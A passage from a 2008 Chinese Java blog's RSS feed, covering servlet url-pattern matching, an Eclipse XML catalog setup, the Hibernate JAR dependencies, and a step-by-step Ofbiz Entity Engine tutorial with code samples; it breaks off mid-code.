<p>1.&nbsp;&nbsp;&nbsp;&nbsp; 精确路径匹配。例子：比如servletA 的url-pattern为 /test，servletB的url-pattern为 /* ，这个时候，如果我访问的url为http://localhost/test ，这个时候容器就会先 进行精确路径匹配，发现/test正好被servletA精确匹配，那么就去调用servletA，也不会去理会其他的servlet了。</p>
<p>2.&nbsp;&nbsp;&nbsp;&nbsp; 最长路径匹配。例子：servletA的url-pattern为/test/*，而servletB的url-pattern为/test/a/*，此时访问http://localhost/test/a时，容器会选择路径最长的servlet来匹配，也就是这里的servletB。</p>
<p>3.&nbsp;&nbsp;&nbsp;&nbsp; 扩展匹配，如果url最后一段包含扩展，容器将会根据扩展选择合适的servlet。例子：servletA的url-pattern：*.action</p>
<p>4.&nbsp;&nbsp;&nbsp;&nbsp; 如果前面三条规则都没有找到一个servlet，容器会根据url选择对应的请求资源。如果应用定义了一个default servlet，则容器会将请求丢给default servlet（什么是default servlet？后面会讲）。<br />
&nbsp;</p>
<p>&nbsp;&nbsp;&nbsp; 根据这个规则表，就能很清楚的知道servlet的匹配过程，所以定义servlet的时候也要考虑url-pattern的写法，以免出错。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 对于filter，不会像servlet那样只匹配一个servlet，因为filter的集合是一个链，所以只会有处理的顺序不同，而不会出现只选择一个filter。Filter的处理顺序和filter-mapping在web.xml中定义的顺序相同。</p>
<p>二，url-pattern详解</p>
<p>在web.xml文件中，以下语法用于定义映射：</p>
<p>1.以&#8221;/&#8217;开头和以&#8221;/*&#8221;结尾的是用来做路径映射的。</p>
<p>2.以前缀&#8221;*.&#8221;开头的是用来做扩展映射的。</p>
<p>3.&#8220;/&#8221; 是用来定义default servlet映射的。</p>
<p>4.剩下的都是用来定义详细映射的。比如： /aa/bb/cc.action</p>
<p>所以，为什么定义&#8221;/*.action&#8221;这样一个看起来很正常的匹配会错？因为这个匹配即属于路径映射，也属于扩展映射，导致容器无法判断。</p>
<img src ="http://www.blogjava.net/hijackwust/aggbug/186154.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/hijackwust/" target="_blank">hijackwust</a> 2008-03-13 22:27 <a href="http://www.blogjava.net/hijackwust/archive/2008/03/13/186154.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[原]彻底解决Eclipse中XML验证速度过慢的问题</title><link>http://www.blogjava.net/hijackwust/archive/2008/03/12/185817.html</link><dc:creator>hijackwust</dc:creator><author>hijackwust</author><pubDate>Wed, 12 Mar 2008 12:49:00 GMT</pubDate><guid>http://www.blogjava.net/hijackwust/archive/2008/03/12/185817.html</guid><wfw:comment>http://www.blogjava.net/hijackwust/comments/185817.html</wfw:comment><comments>http://www.blogjava.net/hijackwust/archive/2008/03/12/185817.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/hijackwust/comments/commentRss/185817.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/hijackwust/services/trackbacks/185817.html</trackback:ping><description><![CDATA[<br />
彻底解决Eclipse中XML验证速度过慢甚至造成死机的问题<br />
<p><br />
新建user_catalog.xml<br />
（其中I:/Eclipse/CommonPlugins/DTD/ 目录下放置各种从网上下载的dtd文件）<br />
如想添加新的dtd文件，修改此配置文件即可。</p>
<p>&lt;?xml version="1.0" encoding="UTF-8"?&gt;<br />
&lt;catalog xmlns="urn:oasis:names:tc:entity:xmlns:xml:catalog"&gt;<br />
&lt;system systemId="http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd" uri="file:///I:/Eclipse/CommonPlugins/DTD/web-app_2_4.xsd"/&gt;<br />
&lt;public publicId="-//Apache Software Foundation//DTD Commons Validator Rules Configuration 1.0.1//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/validator_1_0_1.dtd" webURL="http://jakarta.apache.org/commons/dtds/validator_1_0_1.dtd"/&gt;<br />
&lt;public publicId="-//Apache Software Foundation//DTD Commons Validator Rules Configuration 1.0//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/validator_1_0.dtd" webURL="http://jakarta.apache.org/commons/dtds/validator_1_0.dtd"/&gt;<br />
&lt;public publicId="-//Apache Software Foundation//DTD Commons Validator Rules Configuration 1.1.3//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/validator_1_1_3.dtd" webURL="http://jakarta.apache.org/commons/dtds/validator_1_1_3.dtd"/&gt;<br />
&lt;public publicId="-//Apache Software Foundation//DTD Commons Validator Rules Configuration 1.1//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/validator_1_1.dtd" webURL="http://jakarta.apache.org/commons/dtds/validator_1_1.dtd"/&gt;<br />
&lt;public publicId="-//Apache Software Foundation//DTD Struts Configuration 1.0//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/struts-config_1_0.dtd" webURL="http://jakarta.apache.org/struts/dtds/struts-config_1_0.dtd"/&gt;<br />
&lt;public publicId="-//Apache Software Foundation//DTD Struts Configuration 1.1//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/struts-config_1_1.dtd" webURL="http://jakarta.apache.org/struts/dtds/struts-config_1_1.dtd"/&gt;<br />
&lt;public publicId="-//Apache Software Foundation//DTD Struts Configuration 1.2//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/struts-config_1_2.dtd" webURL="http://jakarta.apache.org/struts/dtds/struts-config_1_2.dtd"/&gt;<br />
&lt;public publicId="-//Apache Software Foundation//DTD Tiles Configuration 1.1//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/tiles-config_1_1.dtd" webURL="http://jakarta.apache.org/struts/dtds/tiles-config_1_1.dtd"/&gt;<br />
&lt;public publicId="-//GetAhead Limited//DTD Direct Web Remoting 1.0//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/dwr10.dtd" webURL="http://www.getahead.ltd.uk/dwr/dwr10.dtd"/&gt;<br />
&lt;public publicId="-//Hibernate/Hibernate Configuration DTD 2.0//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/hibernate-configuration-2.0.dtd" webURL="http://hibernate.sourceforge.net/hibernate-configuration-2.0.dtd"/&gt;<br />
&lt;public publicId="-//Hibernate/Hibernate Configuration DTD 3.0//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/hibernate-configuration-3.0.dtd" webURL="http://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd"/&gt;<br />
&lt;public publicId="-//Hibernate/Hibernate Mapping DTD 1.1//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/hibernate-mapping-1.1.dtd" webURL="http://hibernate.sourceforge.net/hibernate-mapping-1.1.dtd"/&gt;<br />
&lt;public publicId="-//Hibernate/Hibernate Mapping DTD 2.0//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/hibernate-mapping-2.0.dtd" webURL="http://hibernate.sourceforge.net/hibernate-mapping-2.0.dtd"/&gt;<br />
&lt;public publicId="-//Hibernate/Hibernate Mapping DTD 3.0//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/hibernate-mapping-3.0.dtd" webURL="http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd"/&gt;<br />
&lt;public publicId="-//Hibernate/Hibernate Reverse Engineering DTD 3.0//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/hibernate-reverse-engineering-3.0.dtd" webURL="http://hibernate.sourceforge.net/hibernate-reverse-engineering-3.0.dtd"/&gt;<br />
&lt;public publicId="-//SPRING//DTD BEAN//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/spring-beans.dtd" webURL="http://www.springframework.org/dtd/spring-beans.dtd"/&gt;<br />
&lt;public publicId="-//Sun Microsystems, Inc.//DTD JSP Tag Library 1.1//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/web-jsptaglibrary_1_1.dtd" webURL="http://java.sun.com/j2ee/dtds/web-jsptaglibrary_1_1.dtd"/&gt;<br />
&lt;public publicId="-//Sun Microsystems, Inc.//DTD JSP Tag Library 1.2//EN" uri="file:///I:/Eclipse/CommonPlugins/DTD/web-jsptaglibrary_1_2.dtd" webURL="http://java.sun.com/j2ee/dtds/web-jsptaglibrary_1_2.dtd"/&gt;<br />
&lt;/catalog&gt;</p>
<p>方法一：将此文件直接放在 D:\Eclipse\workspace\.metadata\.plugins\org.eclipse.wst.xml.core\目录<br />
下，eclipse 自动识别。</p>
<p>方法二：手动导入此文件，菜单 myeclipse-&gt;preferences-&gt;MyEclipse-&gt;Files and Editors-&gt;XML-&gt;xml catalog<br />
选择 user specified entries 点 Add-&gt;Next Catalog 添加user_catalog.xml</p>
<img src ="http://www.blogjava.net/hijackwust/aggbug/185817.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/hijackwust/" target="_blank">hijackwust</a> 2008-03-12 20:49 <a href="http://www.blogjava.net/hijackwust/archive/2008/03/12/185817.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]使用Hibernate需要导入的一些JAR包</title><link>http://www.blogjava.net/hijackwust/archive/2008/03/10/185213.html</link><dc:creator>hijackwust</dc:creator><author>hijackwust</author><pubDate>Mon, 10 Mar 2008 15:39:00 GMT</pubDate><guid>http://www.blogjava.net/hijackwust/archive/2008/03/10/185213.html</guid><wfw:comment>http://www.blogjava.net/hijackwust/comments/185213.html</wfw:comment><comments>http://www.blogjava.net/hijackwust/archive/2008/03/10/185213.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/hijackwust/comments/commentRss/185213.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/hijackwust/services/trackbacks/185213.html</trackback:ping><description><![CDATA[<br />
转自：http://hi.baidu.com/78600403/blog/item/e33b1455e6e213c7b645ae6e.html<br />
<br />
<br />
以前一直用Myeclipse导入包，现在自己手动。<br />
<br />
<p><span style="color: #ff9900"><font color="#000000">不知需要导入一些什么JAR文件，导致编译通过，运行抛异常：</font></span></p>
<p><span style="color: #ff9900"><font color="#ff0000">Exception in thread "main" java.lang.NoClassDefFoundError:</font> <font color="#0000ff">org/dom4j/DocumentException</font><br />
<font color="#ff0000">at com.sd0707.bank.client.Test.main(</font><font color="#0000ff">Test.java:13</font><font color="#ff0000">)</font><br />
</span></p>
<p><span style="color: #ff9900"><font color="#000000">到网上搜索一下才知道少倒入了JAR文件，正好搜到此文，觉得总结的不错，便转之备后用！</font></span></p>
<p><span style="color: #ff9900"><font color="#000000">-----------------------------------------------------------------------------------------------------------------------------------</font></span></p>
<p><span style="color: #ff9900">hibernate2.jar:</span> <br />
Hibernate的库，必须使用的jar包</p>
<p>&nbsp;</p>
<p><span style="color: #ff9900"><font style="color: #ff9900" color="#000000">cglib-full-2.0.2.jar</font><br />
</span>CGLIB库，Hibernate用它来实现PO字节码的动态生成，非常核心的库，必须使用的jar包</p>
<p><span style="color: #ffcc00"><font style="color: #ff9900" color="#000000">dom4j-1.4.jar</font> <br />
</span>dom4j是一个Java的XML API，类似于jdom，用来读写XML文件的。dom4j是一个非常非常优秀的Java XML API，具有性能优异、功能强大和极端易用使用的特点，同时它也是一个开放源代码的软件，可以在SourceForge上找到它。在IBM developerWorks上面可以找到一篇文章，对主流的Java XML API进行的性能、功能和易用性的评测，dom4j无论在那个方面都是非常出色的。我早在将近两年之前就开始使用dom4j，直到现在。如今你可以看到越来越多的Java软件都在使用dom4j来读写XML，特别值得一提的是连Sun的JAXM也在用dom4j。这是必须使用的jar包，Hibernate用它来读写配置文件。</p>
<p><span style="color: #ff9900"><font style="color: #ff9900" color="#000000">odmg-3.0.jar</font><br />
</span>ODMG是一个ORM的规范，Hibernate实现了ODMG规范，这是一个核心的库，必须使用的jar包。<br />
<br />
<span style="color: #ff9900">commons-collections-2.1.1.jar：</span> <br />
Apache Commons包中的一个，包含了一些Apache开发的集合类，功能比java.util.*强大。必须使用的jar包。</p>
<p><span style="color: #ff9900">commons-beanutils.jar：</span> <br />
Apache Commons包中的一个，包含了一些Bean工具类类。必须使用的jar包。 <br />
<span style="color: #ff9900">*注：</span><span style="font-size: 14pt">我没有在Hibernate的lib中看到这个包，不过在Struts中看到这个包，在网上查了一下，这个包提供了易用的java反射。我没有用这个包，也没有出问题（从这里看到的：</span><a href="http://www.blogjava.net/kobe09/archive/2006/06/14/52745.aspx"><span style="font-size: 10pt">http://www.blogjava.net/kobe09/archive/2006/06/14/52745.aspx</span></a><span style="font-size: 14pt"> ）</span></p>
<p><span style="color: #ff9900">commons-lang-1.0.1.jar</span> <br />
Apache Commons包中的一个，包含了一些数据类型工具类，是java.lang.*的扩展。必须使用的jar包。</p>
<p><span style="color: #ff9900">commons-logging-1.0.4.jar</span> <br />
Apache Commons包中的一个，包含了日志功能，必须使用的jar包。<br />
<br />
<span style="color: #ff9900">从网上查到的，以上为必需的包</span><br />
<br />
<span style="color: #ff9900">anant-1.5.3.jar</span><br />
Ant编译工具的jar包，用来编译Hibernate源代码的。如果你不准备修改和编译Hibernate源代码，那么就没有什么用，可选的jar包</p>
<p><span style="color: #ff9900">ant-optional-1.5.3.jar <br />
</span>Ant的一个辅助包。</p>
<p><span style="color: #ff9900">c3p0-0.8.4.5.jar <br />
</span>C3PO是一个数据库连接池，Hibernate可以配置为使用C3PO连接池。如果你准备用这个连接池，就需要这个jar包。</p>
<p><span style="color: #ff9900">proxool-0.8.3.jar</span> <br />
也是一个连接池，同上。</p>
<p><span style="color: #ff9900">commons-pool-1.2.jar</span>,<span style="color: #ff9900"> commons-dbcp-1.2.1.jar<br />
</span>DBCP数据库连接池，Apache的Jakarta组织开发的，Tomcat4的连接池也是DBCP。</p>
<p>实际上Hibernate自己也实现了一个非常非常简单的数据库连接池，加上上面3个，你实际上可以在Hibernate上选择4种不同的数据库连接池，选择哪一个看个人的偏好，不过DBCP可能更通用一些。另外强调一点，如果在EJB中使用Hibernate，一定要用App Server的连接池，不要用以上4种连接池，否则容器管理事务不起作用。</p>
<p><span style="color: #ff9900">connector.jar</span>: <br />
JCA 规范，如果你在App Server上把Hibernate配置为Connector的话，就需要这个jar。不过实际上一般App Server肯定会带上这个包，所以实际上是多余的包。</p>
<p style="color: #ff9900"><span>jaas.jar<br />
<span style="color: #000000">JAAS是用来进行权限验证的，已经包含在JDK1.4里面了。所以实际上是多余的包。</span></span></p>
<p><span style="color: #ff9900">jcs-1.0-dev.jar <br />
</span>如果你准备在Hibernate中使用JCS的话，那么必须包括它，否则就不用。</p>
<p><span style="color: #ff9900">jdbc2_0-stdext.jar:</span> <br />
JDBC2.0的扩展包，一般来说数据库连接池会用上它。不过App Server都会带上，所以也是多余的。</p>
<p><span style="color: #ff9900">jta.jar：</span> <br />
JTA规范，当Hibernate使用JTA的时候需要，不过App Server都会带上，所以也是多余的。</p>
<p><span style="color: #ff9900">junit-3.8.1.jar</span><br />
Junit包，当你运行Hibernate自带的测试代码的时候需要，否则就不用。</p>
<p><span style="color: #ff9900">xalan-2.4.0.jar, xerces-2.4.0.jar, xml-apis.jar: </span><br />
Xerces是XML解析器，Xalan是格式化器，xml-apis实际上是JAXP。一般App Server都会带上，JDK1.4也包含了解析器，不过不是Xerces，是Crimson，效率比较差，不过Hibernate用XML只不过是读取配置文件，性能没什么紧要的，所以也是多余的。</p>
<img src ="http://www.blogjava.net/hijackwust/aggbug/185213.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/hijackwust/" target="_blank">hijackwust</a> 2008-03-10 23:39 <a href="http://www.blogjava.net/hijackwust/archive/2008/03/10/185213.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>jawe 1.4 下载</title><link>http://www.blogjava.net/hijackwust/archive/2008/03/03/183473.html</link><dc:creator>hijackwust</dc:creator><author>hijackwust</author><pubDate>Mon, 03 Mar 2008 07:31:00 GMT</pubDate><guid>http://www.blogjava.net/hijackwust/archive/2008/03/03/183473.html</guid><wfw:comment>http://www.blogjava.net/hijackwust/comments/183473.html</wfw:comment><comments>http://www.blogjava.net/hijackwust/archive/2008/03/03/183473.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.blogjava.net/hijackwust/comments/commentRss/183473.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/hijackwust/services/trackbacks/183473.html</trackback:ping><description><![CDATA[jawe 1.4 官方网站已经不提供下载了，找了好久都没找到。<br />
今天终于这里找到了，里面还有好多好东西。不过网速比较慢。1K/S左右<br />
<br />
http://www.bogor.net/idkf/bio2/objectweb.org/
<img src ="http://www.blogjava.net/hijackwust/aggbug/183473.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/hijackwust/" target="_blank">hijackwust</a> 2008-03-03 15:31 <a href="http://www.blogjava.net/hijackwust/archive/2008/03/03/183473.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Ofbiz 介绍[转]</title><link>http://www.blogjava.net/hijackwust/archive/2008/02/25/181976.html</link><dc:creator>hijackwust</dc:creator><author>hijackwust</author><pubDate>Mon, 25 Feb 2008 05:57:00 GMT</pubDate><guid>http://www.blogjava.net/hijackwust/archive/2008/02/25/181976.html</guid><wfw:comment>http://www.blogjava.net/hijackwust/comments/181976.html</wfw:comment><comments>http://www.blogjava.net/hijackwust/archive/2008/02/25/181976.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/hijackwust/comments/commentRss/181976.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/hijackwust/services/trackbacks/181976.html</trackback:ping><description><![CDATA[<p>1.Ofbiz 介绍：</p>
<p>Ofbiz(http://www.ofbiz.org) 是 Open Source 的商务软件系统，充分利用了各优秀的的Open Source 项目，<br />
像 Tomcat, Ant, BeanShell, Jboss 等，构建了一个强大的系统平台，Ofbiz 已经完成了大部分商务类软件系统<br />
都需要的部件，像用户认证、工作流、商务规则处理等，Ofbiz 的核心技术在于 Entity Engine，其他的组件基本都<br />
是基于它的。简单来说 Entity Engine 的主要功能是将数据库表创建、对象与数据表的映射、对象的查询等做了强大<br />
封装，你可以在一个简单的 XML 文件中定义数据库表结构，Ofbiz 会自动帮你在数据库建表，并动态生成映射对象，<br />
你在程序中可以只考虑对 Object 的处理，Ofbiz 会自动通过事务逻辑更新到数据库中。Ofbiz 宣称的优点之一是用<br />
很少的 Code 完成复杂的处理。</p>
<p>2.Ofbiz 下载与安装</p>
<p>首先要安装 J2SDK1.4，到 http://java.sun.com 上下载，安装后设定 JAVA_HOME 环境变量为 J2SDK 的安装目录。</p>
<p>访问网站 http://www.ofbiz.org，上面有下载的连接，请选择 Complete 包，因为这个包中已经包含了运行 Ofbiz<br />
的所有东西，下载下来解开后就可以运行了。</p>
<p>解开 Ofbiz 包到一个目录下，假设是 &#8220;C:\ofbiz&#8221;，该目录下将会有 catalina 和 ofbiz 两个目录， catalina<br />
目录是 Tomcat 的目录，Ofbiz 对其配置做了修改，ofbiz 目录是 Ofbiz 的程序代码目录。在命令行状态下进入<br />
&#8220;c:\ofbiz\catalina\bin&#8221; 目录，运行&#8220; ofbiz run&#8221;命令，就可以启动 Ofbiz，启动后你可以用浏览器访问<br />
&#8220;http://localhost:8080/ecommerce&#8221;，这可以访问 Ofbiz 的电子商务模块，通过页面上面的连接你可以访问到<br />
其他模块。</p>
<p><br />
3.Ofbiz Schema 的创建</p>
<p>Ofbiz 应用入门：</p>
<p>以一个实例说明，假设我们需要建一个客户资料表，起名为 StudyCustomer，各个段分别如下：<br />
StudyCustomer {<br />
customerId Integer,<br />
customerName String,<br />
customerNote String,<br />
}</p>
<p>我们来实现基本的数据操作---增/删/改/查询，具体步骤如下：</p>
<p><br />
1.在 XML 文件中定义数据 Schema：<br />
需要用到三个文件，一个是我们要建的项目的 entitymodel_xxx.xml 和 entityengine.xml，还有<br />
entitygroup.xml,<br />
entitymodel_xxx.xml 是需要我们自己创建的，假设我们起名为 entitymodel_study.xml，放在<br />
&#8220;c:\ofbiz\ofbiz\commonapp\entitydef&#8221;目录下，<br />
entityengine.xml 是 Ofbiz 已经有的，放在 &#8220;c:\ofbiz\commonapp\etc&#8221;目录下，用来包含我们<br />
定义的 entitymodel 文件。<br />
entitygroup.xml 也是 Ofbiz 已经有的，跟 engityengine.xml 在同一目录下，我们需要把我们的<br />
Schema 定义加入到该文件中</p>
<p>entitymodel_study.xml 文件的定义格式如下：<br />
&lt;!--================================================================================--&gt;</p>
<p>&lt;?xml version="1.0" encoding="UTF-8"?&gt;<br />
&lt;!DOCTYPE entitymodel PUBLIC "-//OFBiz//DTD Entity Model//EN"</p>
<p>"" target="_blank"&gt;http://www.ofbiz.org/dtds/entitymodel.dtd"&gt;</p>
<p>&lt;entitymodel&gt;<br />
&lt;title&gt;Entity of an Open For Business Project Component&lt;/title&gt;<br />
&lt;description&gt;None&lt;/description&gt;<br />
&lt;copyright&gt;Copyright (c) 2002 The Open For Business Project - www.ofbiz.org&lt;/copyright&gt;<br />
&lt;author&gt;None&lt;/author&gt;<br />
&lt;version&gt;1.0&lt;/version&gt;</p>
<p>&lt;!-- ========================================================= --&gt;<br />
&lt;!-- ======================== Data Model ===================== --&gt;<br />
&lt;!-- The modules in this file are as follows: --&gt;<br />
&lt;!-- - org.ofbiz.commonapp.study --&gt;<br />
&lt;!-- ========================================================= --&gt;</p>
<p><br />
&lt;!-- ========================================================= --&gt;<br />
&lt;!-- org.ofbiz.commonapp.study --&gt;<br />
&lt;!-- ========================================================= --&gt;</p>
<p>&lt;entity entity-name="StudyCustomer"<br />
package-name="org.ofbiz.commonapp.study"<br />
title="Study Customer Entity"&gt;<br />
&lt;field name="customerId" type="id-ne"&gt;&lt;/field&gt;<br />
&lt;field name="customerName" type="long-varchar"&gt;&lt;/field&gt;<br />
&lt;field name="customerNote" type="long-varchar"&gt;&lt;/field&gt;<br />
&lt;prim-key field="customerId"/&gt;<br />
&lt;/entity&gt;<br />
&lt;/entitymodel&gt;</p>
<p>&lt;!--================================================================================--&gt;</p>
<p>这个 XML 文件中的 Tag 基本是看得明白的，只是 field 的 type 是 Ofbiz 已经预定义好的，这<br />
是为了保证数据库间的迁移。</p>
<p>在 entityengine.xml 加入我们刚才定义的文件，加入一行在合适的位置：<br />
&lt;resource loader="mainfile" location="entitymodel_study.xml"/&gt;<br />
具体放的位置我们可以通过查看 entityengine.xml 找到，里面已经有加好的其他文件。</p>
<p>在 entitygroup.xml 加入我们的 Schema 定义，在后面加入一行<br />
&lt;entity-group group="org.ofbiz.commonapp" entity="StudyCustomer" /&gt;</p>
<p>这样我们就定义好了 Schema，现在把 c:\ofbiz\commonapp\etc\entityengine.xml 拷贝到<br />
c:\ofbiz\catalina\shared\classes 目录下，这点要切记，我以前就因为没有拷贝，最后 Schema<br />
怎么也创建不了。</p>
<p>重新启动 Ofbiz，访问 URL: http://localhost:8080/webtools，点击右上方的 "Login" 链接，<br />
用 admin/ofbiz 登录，登录进入后选择链接&#8220;Check/Update Database&#8221;，这时会出现 Check 的 Form，<br />
该表单可以只检验 Schema 是否改变，默认的 GroupName 是&#8220;org.ofbiz.commonapp&#8221;，这个不需要变，<br />
点击&#8220;Check Only&#8221;按钮，Ofbiz 会检验变动情况，显示出一个完整的列表，你可以查一下是否有我们刚建的<br />
"StudyCustomer"，如果没有，可能是我们前面定义的有些问题，检查一下再重新做。</p>
<p>在检查到以后，可以再选择&#8220;Check and Add Missing&#8221;，这是 Ofbiz 很强大的一个功能，你在 XML 中新<br />
增了表，或在某个表中新增了段，它会自动映射到数据库中，避免我们去直接操作数据库。</p>
<p>现在已经完成了 StudyCustomer Schema 的创建,如果想检验一下是否有表创建，我们可以用编辑器打开<br />
c:\ofbiz\data\ofbiz.script ，在里面查询 CREATE TABLE StudyCustomer 的字样，如果前面没有<br />
问题，我们可以找到的。</p>
<p>&nbsp;</p>
<p>4.如何使用已经定义的 Schema</p>
<p>如何使用已经定义的 Schema</p>
<p>Ofbiz 遵循 MVC 的设计模式，在 View 端，即 JSP 端主要使用 Ofbiz 定义的 Tag 来显示或<br />
提取数据，Control 是一个 Controller Servlet，我们在 Controller Servlet 的 URI mapping<br />
配置文件中定义各 URL 应该指向什么程序，这样，通过这个 mapping 配置文件，可以保证我们各个页面<br />
及具体处理程序之间的独立性，例我们可以通过修改这个配置文件就可以改变某个 Form 的 Post Action<br />
的 URL，而不需要修改实际的 HTML 或 JSP 代码。</p>
<p>Ofbiz 中定义了 Regions 的概念，即将一个 HTML 页面分成几个区域，像 Top, Left, Right, Main<br />
等，通过这些 Regions 我们可以方便的组合 UI 界面，并且可以方便改变各部分所处的位置，如我们可以<br />
把菜单很容易的从上方移到下方，只需要改变一个配置文件。Regions 类似于 HTML 中的 Frame，但它是<br />
通过一个页面来组合界面，Frame 是通过几个页面显示在不同的帧中，Frame 的控制比较复杂，而且需要<br />
改变相关的程序。</p>
<p>在 Ofbiz 中，我们可以直接在 JSP 中操作 Schema 定义的 Object，即我们刚定义的 StudyCustomer，<br />
示例如下：</p>
<p><br />
&lt;% at taglib uri="ofbizTags" prefix="ofbiz" %&gt;</p>
<p>&lt;%@ page import="java dot util.*" %&gt;<br />
&lt;% at page import="org dot ofbiz.core.util.*, org.ofbiz.core.pseudotag.*" %&gt;<br />
&lt;% at page import="org dot ofbiz.core.entity.*" %&gt;</p>
<p>&lt;jsp:useBean id="delegator" type="org.ofbiz.core.entity.GenericDelegator" scope="request" /&gt;<br />
&lt;jsp:useBean id="security" type="org.ofbiz.core.security.Security" scope="request" /&gt;</p>
<p>&lt;%if(security.hasEntityPermission("PARTYMGR", "_VIEW", session)) { %&gt;</p>
<p>&lt;%<br />
try {<br />
delegator.create("StudyCustomer",<br />
UtilMisc.toMap("customerId","1","customerName","Cust1","customerNote","Customer Note 1"));</p>
<p>Iterator custs =</p>
<p>UtilMisc.toIterator(delegator.findAll("StudyCustomer",UtilMisc.toList("customerId","customerName","customerNote")));</p>
<p>while(custs.hasNext())<br />
{<br />
GenericValue cust = (GenericValue)custs.next();<br />
out.println(cust.getString("customerId"));<br />
out.println(cust.getString("customerName"));<br />
out.println(cust.getString("customerNote"));<br />
}<br />
} catch(Exception e)<br />
{<br />
out.println(e.getMessage());<br />
}<br />
%&gt;<br />
&lt;% }else{ %&gt;<br />
&lt;h3&gt;You do not have permission to view this page. ("PARTYMGR_VIEW" or "PARTYMGR_ADMIN" needed)&lt;/h3&gt;<br />
&lt;% }%&gt;</p>
<p><br />
这段程序挺容易理解，先是通过 delegator 创建一个 Object，该 Object 将会由 Ofbiz 自动同步到<br />
数据库中。然后通过 delegator 的 findAll 取到所有已保存的 Object，最后通过一个 Iterator 对象<br />
显示出来。</p>
<p>这个程序起名为 testofbiz.jsp，为简单起见，我们放到 Ofbiz 已有的一个 Webapp 的目录下，放到<br />
c:\ofbiz\ofbiz\partymgr\webapp\party 目录下。然后我们需要修改两个配置文件：controller.xml<br />
和 regions.xml，这两个文件就是我们上面提到的 mapping 和 regions 配置文件。</p>
<p>这两个文件都在：c:\ofbiz\ofbiz\partymgr\webapp\WEB-INF 下，在 controller.xml 中加入下面</p>
<p>&lt;request-map uri="testofbiz"&gt;<br />
&lt;description&gt;Test Ofbiz&lt;/description&gt;<br />
&lt;security https="false" auth="false"/&gt;<br />
&lt;response name="success" type="view" value="testofbiz"/&gt;<br />
&lt;/request-map&gt;<br />
和<br />
&lt;view-map name="testofbiz" type="region"/&gt;</p>
<p>加入位置请参照 controller.xml 中已经有的配置。在 regions.xml 中加入：<br />
&lt;define id='testofbiz' region='MAIN_REGION'&gt;<br />
&lt;put section='title'&gt;Test Ofbiz&lt;/put&gt;<br />
&lt;put section='content' content='/party/testofbiz.jsp'/&gt;<br />
&lt;/define&gt;<br />
具体加入位置请参考已有的配置。</p>
<p>配置完后，重新启动 ofbiz，然后访问 URL:<br />
http://localhost:8080/partymgr/control/testofbiz</p>
<p>由于我们在 testofbiz.jsp 程序中使用了 Ofbiz 的安全控制机制，系统会提示现在没有访问<br />
权限，需要登录，点击右边的&#8220;Login&#8221; 用 admin/ofbiz 登录后会看到我们程序 testofbiz.jsp<br />
的运行结果。如果需要增加新记录，请修改</p>
<p>UtilMisc.toMap("customerId","1","customerName","Cust1","customerNote","Customer Note 1"));</p>
<p>中的各个段的值，然后再访问 http://localhost:8080/par......testofbiz，如果不修改<br />
而直接访问那个 URL 时，系统会提示 Primary key 冲突。</p>
<p><br />
5.按照显示与逻辑分离的原则使用 Schema:</p>
<p>上篇讲了如何在 JSP 中使用创建的 Schema 对象，这次我们来讲述一下如何把程序<br />
逻辑放到 JavaBeans 中，把显示处理放到 JSP 中，并使用 controller.xml 将两<br />
部分整合起来。</p>
<p>首先我们来创建一个 JavaBeans，来完成Add/Get/Delete/Update Schema 对象<br />
的操作，程序文件名为 TestOfbiz.java，放置在<br />
c:\ofbiz\ofbiz\testOfbiz\com\geeyo\ofbiz 目录下, 具体程序如下：</p>
<p>&gt;=================================================================<br />
package com.geeyo.ofbiz;</p>
<p>import javax.servlet.*;<br />
import javax.servlet.http.*;<br />
import java.util.*;<br />
import java.net.*;<br />
import org.ofbiz.core.util.*;<br />
import org.ofbiz.core.entity.*;<br />
import org.ofbiz.core.service.*;<br />
import org.ofbiz.core.security.*;<br />
import org.ofbiz.core.stats.*;</p>
<p>public class TestOfbiz<br />
{<br />
public static void main(String[] args)<br />
throws Exception<br />
{<br />
GenericDelegator delegator = GenericDelegator.getGenericDelegator("default");<br />
delegator.create("StudyCustomer",UtilMisc.toMap("customerId","3","customerName","Kane3","customerNote","This is test customer.3"));</p>
<p>Iterator custs = UtilMisc.toIterator(delegator.findAll("StudyCustomer",UtilMisc.toList("customerId","customerName","customerNote")));</p>
<p>while(custs.hasNext())<br />
{<br />
